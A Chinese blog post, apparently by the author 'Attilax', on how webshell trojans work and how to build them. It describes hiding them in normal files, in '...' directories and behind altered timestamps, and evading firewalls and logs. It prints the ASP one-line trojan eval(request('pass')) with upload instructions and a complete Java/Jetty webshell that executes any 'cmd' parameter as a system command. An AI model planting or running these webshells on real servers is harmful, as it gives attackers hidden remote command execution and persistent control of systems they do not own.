atitit.木马病毒webshell的原理and设计 java c# .net php.
atitit.木马病毒webshell的原理and设计 java c# .net php.
1. 隐蔽性
WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 "..." 目录就可以达到,站长从FTP中找到的是含有“..”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。
webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
作者:: 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙, EMAIL:1466519819@qq.com
转载请注明来源: http://blog.csdn.net/attilax
2. webshell的分类
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置
3. Code---
package com.attilax.webshell;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.ServletException;
import java.io.IOException;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.handler.AbstractHandler;
import com.attilax.cmd.CmdX;
import com.attilax.io.filex;
import com.lowagie.text.html.HtmlEncoder;
public class Webshell extends AbstractHandler
{
public void handle(String target,
Request baseRequest,
HttpServletRequest request,
HttpServletResponse response)
throws IOException, ServletException
{
String cmd=request.getParameter("cmd");
System.out.println("==cmd:"+cmd);
String r=new CmdX().exe(cmd);
response.setContentType("text/html;charset=utf-8");
response.setStatus(HttpServletResponse.SC_OK);
baseRequest.setHandled(true);
response.getWriter().println("--rzt:<p>"+ HtmlEncoder.encode( r));
}
public static void main(String[] args) throws Exception
{
//org.slf4j.helpers.MessageFormatter
start_websell();
System.out.println("--f");
}
public static void start_websell() {
Server server = new Server(8080);
server.setHandler(new Webshell());
try {
server.start();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("--staered");
try {
server.join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
4. Ref
atitit.跨架构 bs cs解决方案. 自定义web服务器的实现方案 java .net jetty HttpListener
获取webshell的十种方法 - 51CTO.COM.htm
Webshell实现与隐藏探究_91Ri.org.htm
Webshell实现与隐藏探究_91Ri.org.htm
相关文章
- C# servicestack.redis 互通 java jedis
- (Java实现)洛谷 P1093 奖学金
- RPC学习--C#使用Thrift简介,C#客户端和Java服务端相互交互
- [C#/Java] C#中调用Servlet示例
- Atitit nlp自然语言处理类库(java python nodejs c#net) 目录 1.1. Python snownlp1 1.2. NLP.js一个nodejs/javascri
- Atitit.常见的异常分类 目录 1. 双元分类法1 1.1. 按照语言分 java js c# php等1 1.2. 通用常见异常vs 特定异常1 1.3. Runtime ex vs c
- Atitit 通过调用gui接口杀掉360杀毒 360卫士 qq保镖等难以结束的进程(javac# php )
- Atitit java方法引用(Method References) 与c#委托与脚本语言js的函数指针
- Atitit.提升软件Web应用程序 app性能的方法原理 h5 js java c# php python android .net
- Atitit. 注册表操作查询 修改 api与工具总结 java c# php js python 病毒木马的原理
- Atitit.跨语言 java c#.net php js常用的codec encode算法api 兼容性 应该内置到语言里面
- atitit.跨语言实现备份mysql数据库 为sql文件特性 api 兼容性java c#.net php js
- Atitit.跨平台预定义函数 魔术方法 魔术函数 钩子函数 api兼容性草案 v2 q216 java c# php js.docx
- Atitit.sql ast 表达式 语法树 语法 解析原理与实现 java php c#.net js python
- Atitit.获取approot api 应用根路径 java c#.net php asp
- Atitit.跨语言反射api 兼容性提升与增强 java c#。Net php js
- atitit.复合变量,也就是类似$$a的变量的原理与实现 java c#.net php js
- Atitit. 数据约束 校验 原理理论与 架构设计 理念模式java php c#.net js javascript mysql oracle
- Atitit 文件上传 架构设计 实现机制 解决方案 实践java php c#.net js javascript c++ python
- Atitit 文件上传 架构设计 实现机制 解决方案 实践java php c#.net js javascript c++ python
- Atitit.upnp SSDP 查找nas的原理与实现java php c#.net c++
- Atitit.js跨域解决方案attilax大总结 后台java php c#.net的CORS支持
- Atitit.html解析器的选型 jsoup nsoup ,java c# .net 版本
- atitit.提取zip rar文件列表 java php c# 的原理与设计
- Atitit. 悬浮窗口的实现 java swing c# .net c++ js html 的实现
- Atitit。D&D drag&drop拖拽功能c#.net java swing的对比与实现总结
- Atitit. 解压缩zip文件 的实现最佳实践 java c# .net php
- paip.java c# .net php python调用c++ c dll so windows api 总结